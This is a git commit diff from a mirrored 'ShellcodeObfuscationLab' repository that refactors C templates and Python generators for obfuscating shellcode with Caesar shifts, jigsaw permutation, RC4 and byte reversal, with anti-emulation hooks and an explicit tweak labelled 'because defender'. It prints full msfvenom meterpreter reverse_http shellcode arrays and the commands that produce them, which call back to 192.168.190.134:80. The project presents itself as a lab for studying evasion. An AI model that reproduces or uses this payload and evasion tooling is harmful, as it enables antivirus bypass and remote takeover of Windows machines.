mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
refactor: cleanup old artefacts
This commit is contained in:
Dobin Rutishauser
@@ -1,6 +1,6 @@
|
||||
# SOL ShellcodeObfuscationLab
|
||||
|
||||
Shellcode obfuscations are based on RedSiege [Chromatophore](https://github.com/RedSiege/Chromatophore/).
|
||||
Shellcode obfuscations laboratory based on RedSiege [Chromatophore](https://github.com/RedSiege/Chromatophore/).
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -3,12 +3,26 @@
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
{{SHELLCODE}}
|
||||
|
||||
for (int i = 0; i < sizeof(caesar); i++)
|
||||
{
|
||||
if ((caesar[i] - 13) < 0)
|
||||
{
|
||||
printf(""); // because defender
|
||||
shellcode[i] = caesar[i] + 256 - 13;
|
||||
}
|
||||
else
|
||||
{
|
||||
shellcode[i] = caesar[i] - 13;
|
||||
}
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
while (idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
if (idx == (sizeof(shellcode) - 1))
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
@@ -18,6 +32,6 @@ int main(void)
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,19 @@
|
||||
def caesar(sc_list):
|
||||
import sys
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def make_caesar(sc_list):
|
||||
sc = []
|
||||
for x in sc_list:
|
||||
if (int(x) + 13) > 255:
|
||||
@@ -6,11 +21,16 @@ def caesar(sc_list):
|
||||
else:
|
||||
sc.append(hex(x + 13))
|
||||
return sc
|
||||
|
||||
|
||||
# msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x48,0x00,0x00,0x00,0x2f,0x37,0x4f,0x4a,0x67,0x49,0x32,0x4b,0x6c,0x4c,0x4f,0x76,0x79,0x47,0x76,0x4d,0x59,0x6c,0x2d,0x4e,0x51,0x71,0x51,0x46,0x6b,0x33,0x53,0x72,0x39,0x43,0x58,0x45,0x57,0x6e,0x77,0x6a,0x62,0x4d,0x76,0x32,0x37,0x41,0x39,0x76,0x43,0x31,0x4a,0x56,0x5f,0x62,0x62,0x32,0x76,0x70,0x4b,0x78,0x62,0x71,0x64,0x58,0x45,0x42,0x47,0x37,0x66,0x71,0x67,0x2d,0x4c,0x67,0x62,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5]
|
||||
|
||||
new_sc = caesar(shellcode)
|
||||
def caesar(input_file):
|
||||
# read in our raw shellcode and get the length
|
||||
raw_sc = get_raw_sc(input_file)
|
||||
sc_list = list(raw_sc)
|
||||
|
||||
print('char caesar[{0}] = {{{1}}};'.format(str(len(new_sc)), ', '.join(x for x in new_sc)))
|
||||
new_sc = make_caesar(sc_list)
|
||||
ret = ""
|
||||
ret += 'char caesar[{0}] = {{{1}}};'.format(str(len(new_sc)), ', '.join(x for x in new_sc))
|
||||
ret += 'unsigned char shellcode[{}] = '.format(str(len(raw_sc))) + '{ 0x00 };'
|
||||
return ret
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjargon.c /link /out:jargon.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import random
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
|
||||
def gen_word_combinations(dict_file):
|
||||
# read in words dictionary
|
||||
try:
|
||||
@@ -39,37 +39,6 @@ def get_shellcode(input_file):
|
||||
|
||||
|
||||
def jargon(input_file):
|
||||
if False:
|
||||
### Parse our arguments
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-d", "--dictionary", type=str,
|
||||
help="Dictionary file. Defaults to 'dictionary.txt.'")
|
||||
parser.add_argument("-i", "--input", type=str,
|
||||
help="File containing raw shellcode.")
|
||||
parser.add_argument("-o", "--output", type=str,
|
||||
help="Output file. Defaults to 'generated.c.'")
|
||||
|
||||
args = parser.parse_args()
|
||||
if len(sys.argv) == 1:
|
||||
# No arguments received. Print help and exit
|
||||
parser.print_help(sys.stderr)
|
||||
sys.exit(0)
|
||||
|
||||
if args.input:
|
||||
input_file = args.input
|
||||
else:
|
||||
input_file = "beacon.bin"
|
||||
|
||||
if args.output:
|
||||
output_file = args.output
|
||||
else:
|
||||
output_file = "generated.c"
|
||||
|
||||
if args.dictionary:
|
||||
dict_file = args.dictionary
|
||||
else:
|
||||
dict_file = "dictionary.txt"
|
||||
|
||||
# absolute path because our working directory
|
||||
# will be the root of the project
|
||||
dict_file = "chromatophore/jargon/google-10000-english-usa-5char.txt"
|
||||
|
||||
@@ -1,31 +1,13 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjigsaw.c /link /out:jigsaw.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void)
|
||||
{
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 jigsaw.py met.bin
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
/* ORIGINAL
|
||||
unsigned char jigsaw[598] = { 0x00, 0x3b, 0xc3, 0x44, 0x00, 0x58, 0x41, 0x07, 0xba, 0x53, 0x6a, 0x48, 0x4d, 0x20, 0xc0, 0x55, 0x01, 0x4d, 0x8b, 0xcc, 0x00, 0x53, 0x0f, 0x00, 0x72, 0x76, 0xff, 0x4d, 0x56, 0x18, 0x41, 0xc9, 0x4d, 0x89, 0x38, 0x74, 0x00, 0xc4, 0xc1, 0xc0, 0x6a, 0x53, 0x4c, 0x00, 0x49, 0x48, 0x53, 0x12, 0xc9, 0x76, 0x83, 0x1f, 0x48, 0xdb, 0x00, 0x49, 0x31, 0x41, 0xc1, 0x4b, 0x64, 0x44, 0x65, 0x12, 0x72, 0x53, 0x49, 0x0f, 0x5a, 0x49, 0x0d, 0xc0, 0x89, 0xf9, 0x58, 0x75, 0x01, 0x00, 0x51, 0x53, 0xc0, 0x00, 0x41, 0x48, 0x38, 0x48, 0xe2, 0x35, 0xd5, 0x48, 0x31, 0x41, 0x00, 0x00, 0x40, 0xff, 0xda, 0xb2, 0x48, 0xe9, 0x00, 0xff, 0xd2, 0x52, 0x53, 0x53, 0xd1, 0x8b, 0xba, 0xd5, 0x89, 0x88, 0x71, 0x31, 0xfc, 0x6b, 0x20, 0x00, 0x00, 0xc7, 0x81, 0x48, 0x48, 0x66, 0xe8, 0xc0, 0x53, 0x8b, 0xc1, 0x4a, 0x6e, 0x50, 0x00, 0x00, 0x00, 0x3a, 0x58, 0x4d, 0x89, 0x48, 0x66, 0x10, 0x48, 0x61, 0x56, 0x41, 0x8b, 0x36, 0x39, 0xc9, 0xeb, 0xd5, 0x48, 0x00, 0x52, 0x45, 0x50, 0x85, 0x18, 0x59, 0x00, 0x00, 0x3c, 0x00, 0x20, 0x5e, 0x52, 0x49, 0x65, 0xc7, 0x8b, 0x56, 0x48, 0xd0, 0x4e, 0x36, 0x5a, 0x60, 0x58, 0x06, 0x5f, 0x69, 0x4c, 0x48, 0x85, 0xff, 0x00, 0x6e, 0x41, 0x58, 0xf0, 0x45, 0x01, 0x00, 0x67, 0x4b, 0x01, 0x08, 0xd6, 0x8b, 0x53, 0xff, 0x00, 0x75, 0x00, 0x55, 0x58, 0x32, 0x4d, 0xe1, 0x00, 0x41, 0x31, 0x8b, 0x44, 0x00, 0x8b, 0x31, 0x53, 0xe8, 0x49, 0x89, 0xc6, 0x00, 0x48, 0x41, 0x42, 0x56, 0xe8, 0x76, 0xa4, 0x2e, 0x02, 0x31, 0x38, 0x8b, 0x72, 0xe7, 0x8b, 0xc2, 0xd5, 0x49, 0xb5, 0x0d, 0x00, 0x00, 0x72, 0x68, 0x00, 0xe2, 0x33, 0xff, 0x00, 0xd5, 0x41, 0x10, 0xc2, 0x00, 0x52, 0xf0, 0x00, 0x49, 0x58, 0x48, 0xeb, 0x70, 0x40, 0x8b, 0x53, 0x52, 0x69, 0x40, 0x77, 0x30, 0x89, 0x00, 0xbe, 0x2e, 0x96, 0x2c, 0x44, 0x00, 0x5a, 0x01, 0x20, 0x6e, 0x74, 0x41, 0x34, 0x6b, 0x2d, 0x89, 0xff, 0x53, 0x36, 0x48, 0x48, 0x31, 0x6e, 0x48, 0xd1, 0x44, 0xd8, 0x01, 0x36, 0x75, 0xe4, 0x00, 0x4a, 0xed, 0x48, 0x4d, 0x6c, 0x36, 0xf1, 0xc0, 0x50, 0x6b, 0xff, 0x00, 0x53, 0x6a, 0x31, 0xd0, 0xc1, 0x6a, 0x01, 0xd5, 0x4d, 0xc9, 0x41, 0x00, 0x00, 0x55, 0xff, 0x41, 0x48, 0x31, 0x41, 0x33, 0x64, 0x4a, 0x36, 0x00, 0xd2, 0x73, 0x8b, 0x53, 0xcc, 0x4c, 0x20, 0xe8, 0x49, 0x53, 0xe0, 0x85, 0xf1, 0x4d, 0x48, 0x48, 0x10, 0x00, 0xf0, 0x6a, 0x41, 0x55, 0x51, 0x2f, 0x93, 0x28, 0xe5, 0x52, 0xe3, 0x66, 0x75, 0xba, 0x31, 0xff, 0x59, 0x00, 0x0a, 0x0c, 0x2e, 0x31, 0x4a, 0x13, 0x49, 0x48, 0x5d, 0x4b, 0x18, 0x64, 0x00, 0x40, 0x48, 0x89, 0x67, 0x77, 0x59, 0xb7, 0x53, 0xc7, 0xe2, 0x31, 0x00, 0x41, 0xc3, 0x00, 0xc0, 0x58, 0xba, 0x00, 0xc0, 0x48, 0x58, 0x58, 0xe1, 0x41, 0x76, 0x00, 0x01, 0x4d, 0xc9, 0x58, 0xc7, 0xff, 0x04, 0x34, 0x24, 0x49, 0x89, 0x89, 0x85, 0x26, 0x75, 0x59, 0x89, 0x00, 0x73, 0x49, 0x69, 0x01, 0x84, 0x8b, 0x20, 0x43, 0xc2, 0x78, 0x53, 0x6b, 0x50, 0x8b, 0x00, 0x0b, 0x48, 0x48, 0xac, 0x53, 0x02, 0x42, 0xe0, 0x5a, 0x18, 0x48, 0x56, 0x31, 0xc9, 0x59, 0x53, 0x43, 0x1c, 0x8b, 0x41, 0x4c, 0xd0, 0x31, 0x00, 0xac, 0x00, 0x20, 0x6c, 0x48, 0x49, 0x74, 0xd5, 0x83, 0x36, 0x56, 0x41, 0x48, 0x53, 0x48, 0xc7, 0x57, 0x9f, 0x51, 0x03, 0x79, 0x88, 0x49, 0x4b, 0x49, 0x65, 0xcf, 0x7a, 0xc1, 0x7b, 0x57, 0x88, 0x72, 0x68, 0xff, 0xf1, 0x00, 0xc6, 0xc1, 0xc9, 0x3c, 0x57, 0x32, 0xc0, 0x6a, 0x52, 0xd0, 0x41, 0xa7, 0x5a, 0x49, 0x5a, 0x41, 0xc9, 0x63, 0xb8, 0xff, 0x07, 0x00, 0x31, 0xc0, 0xc9, 0xba, 0x74, 0x61, 0x02, 0x64, 0xc7, 0xa2, 0x48, 0x6a, 0x01, 0x00, 0x5a, 0x2e, 0x4a, 0xc9, 0x49, 0x7c, 0x50, 0x49, 0x85, 0x83, 0x48, 0x8b, 0x80, 0xd5, 0xc7, 0x24, 0x00, 0xd0, 0x00, 0xc7, 0x58, 0x02, 0xd5, 0xe0, 0xc1, 0x41, 0x89, 0xc2, 0xd0, 0x58, 0xff, 0x39, 0xc1, 0x74, 0x31, 0xff, 0x48, 0x00, 0x88, 0x5a, 0x89, 0x77, 0xec, 0x48, 0x03, 0x48, 0x39, 0x52 };
|
||||
int positions[598] = { 546, 434, 584, 155, 561, 365, 192, 240, 477, 427, 440, 390, 116, 54, 545, 432, 112, 411, 123, 494, 485, 407, 83, 8, 40, 392, 563, 250, 261, 461, 178, 304, 451, 446, 281, 227, 290, 567, 134, 580, 351, 306, 394, 272, 543, 530, 454, 555, 44, 331, 195, 468, 129, 217, 317, 505, 254, 190, 508, 210, 345, 107, 226, 208, 353, 455, 219, 34, 444, 456, 58, 97, 405, 552, 202, 381, 75, 7, 11, 305, 131, 525, 409, 25, 140, 437, 509, 480, 242, 469, 279, 133, 422, 524, 157, 212, 542, 572, 95, 209, 560, 486, 18, 27, 244, 243, 151, 207, 311, 529, 246, 472, 336, 43, 0, 375, 568, 483, 264, 429, 78, 576, 166, 162, 270, 297, 414, 26, 61, 37, 225, 41, 559, 516, 273, 260, 410, 253, 551, 29, 77, 510, 183, 348, 19, 229, 164, 382, 150, 121, 431, 269, 126, 92, 14, 149, 298, 84, 80, 186, 300, 267, 49, 526, 110, 182, 398, 589, 329, 512, 574, 115, 1, 76, 368, 346, 504, 24, 154, 460, 442, 355, 237, 540, 579, 489, 228, 337, 180, 387, 4, 330, 60, 9, 347, 378, 577, 148, 128, 168, 248, 241, 324, 152, 266, 496, 181, 277, 448, 233, 423, 174, 130, 30, 167, 527, 89, 46, 309, 322, 258, 535, 315, 274, 415, 344, 380, 230, 5, 352, 521, 433, 52, 287, 388, 66, 328, 536, 104, 430, 597, 511, 593, 136, 325, 417, 367, 371, 86, 62, 377, 435, 474, 564, 383, 271, 458, 316, 23, 479, 498, 428, 179, 215, 493, 358, 503, 22, 356, 67, 224, 109, 221, 285, 313, 562, 220, 278, 556, 53, 478, 549, 187, 127, 32, 401, 98, 55, 289, 354, 459, 293, 213, 256, 335, 65, 206, 216, 223, 119, 507, 376, 153, 101, 391, 581, 3, 424, 36, 63, 565, 360, 343, 396, 143, 252, 103, 384, 268, 484, 443, 307, 283, 113, 294, 586, 184, 436, 302, 413, 69, 499, 475, 342, 463, 188, 445, 452, 349, 288, 333, 340, 359, 299, 582, 370, 71, 257, 6, 144, 547, 495, 518, 500, 201, 569, 539, 42, 100, 231, 515, 265, 592, 334, 122, 400, 15, 327, 531, 419, 523, 199, 114, 573, 467, 554, 17, 200, 204, 87, 441, 165, 286, 251, 393, 473, 159, 194, 214, 397, 106, 385, 318, 169, 105, 538, 99, 366, 191, 35, 426, 235, 558, 412, 517, 203, 578, 319, 570, 583, 519, 403, 47, 534, 364, 585, 247, 10, 350, 94, 138, 323, 453, 520, 457, 320, 176, 124, 158, 476, 557, 438, 96, 239, 142, 588, 541, 482, 363, 171, 222, 172, 420, 39, 68, 357, 236, 79, 533, 339, 13, 175, 497, 81, 245, 45, 48, 522, 418, 72, 141, 205, 28, 537, 362, 449, 135, 501, 218, 386, 170, 156, 12, 146, 102, 117, 421, 132, 93, 197, 374, 21, 111, 389, 321, 2, 280, 595, 59, 33, 532, 16, 590, 312, 314, 70, 308, 262, 125, 295, 361, 553, 20, 490, 369, 139, 462, 399, 177, 85, 373, 596, 447, 514, 439, 471, 450, 73, 402, 341, 466, 372, 64, 161, 198, 263, 249, 550, 193, 163, 57, 379, 416, 211, 575, 301, 275, 513, 255, 259, 491, 50, 492, 332, 544, 594, 488, 502, 160, 548, 291, 282, 338, 118, 310, 51, 425, 234, 465, 566, 404, 108, 90, 487, 470, 147, 88, 185, 326, 296, 395, 82, 464, 481, 406, 137, 232, 591, 173, 189, 528, 284, 56, 571, 303, 120, 38, 587, 91, 408, 506, 238, 196, 74, 145, 292, 276, 31 };
|
||||
|
||||
unsigned char shellcode[598] = { 0x00 };
|
||||
int position;
|
||||
|
||||
// Reconstruct the payload
|
||||
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
|
||||
printf("");
|
||||
position = positions[idx];
|
||||
shellcode[position] = jigsaw[idx];
|
||||
}
|
||||
*/
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
|
||||
@@ -1,13 +1,27 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation.c /link /out:noobfuscation.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
unsigned char shellcode[593] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x48,0x00,0x00,0x00,0x2f,0x37,0x4f,0x4a,0x67,0x49,0x32,0x4b,0x6c,0x4c,0x4f,0x76,0x79,0x47,0x76,0x4d,0x59,0x6c,0x2d,0x4e,0x51,0x71,0x51,0x46,0x6b,0x33,0x53,0x72,0x39,0x43,0x58,0x45,0x57,0x6e,0x77,0x6a,0x62,0x4d,0x76,0x32,0x37,0x41,0x39,0x76,0x43,0x31,0x4a,0x56,0x5f,0x62,0x62,0x32,0x76,0x70,0x4b,0x78,0x62,0x71,0x64,0x58,0x45,0x42,0x47,0x37,0x66,0x71,0x67,0x2d,0x4c,0x67,0x62,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
{{SHELLCODE}}
|
||||
|
||||
printf("All this program does is store shellcode and print this message.\n");
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
import sys
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def noobfuscation(input_file):
|
||||
shellcode = get_raw_sc(input_file)
|
||||
shellcode = list(shellcode)
|
||||
|
||||
ret = ""
|
||||
ret += 'unsigned char shellcode[{}] = {};'.format(
|
||||
str(len(shellcode)),
|
||||
'{' + '{}'.format(', '.join(str(x) for x in shellcode)) + '}')
|
||||
return ret
|
||||
@@ -2,8 +2,6 @@
|
||||
#include <string.h>
|
||||
#include <windows.h>
|
||||
|
||||
// Compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcoffset.c /link /out:offset.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(){
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
|
||||
|
||||
@@ -9,9 +9,6 @@
|
||||
Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer.
|
||||
*/
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /W0 /DNDEBUG /Tcrc4.c /link /OUT:rc4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
|
||||
// Function prototype for SystemFunction033
|
||||
typedef NTSTATUS(WINAPI* _SystemFunction033)(
|
||||
@@ -26,6 +23,7 @@ struct ustring {
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
|
||||
int main() {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
|
||||
@@ -1,9 +1,4 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from typing import Iterator
|
||||
from base64 import b64encode
|
||||
from sys import argv,exit,stderr
|
||||
import argparse
|
||||
import random
|
||||
import string
|
||||
|
||||
|
||||
@@ -3,14 +3,10 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// compile: cl.exe /nologo /Tcreverse_byte_order.c /link /OUT:reverse_byte_order.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void) {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
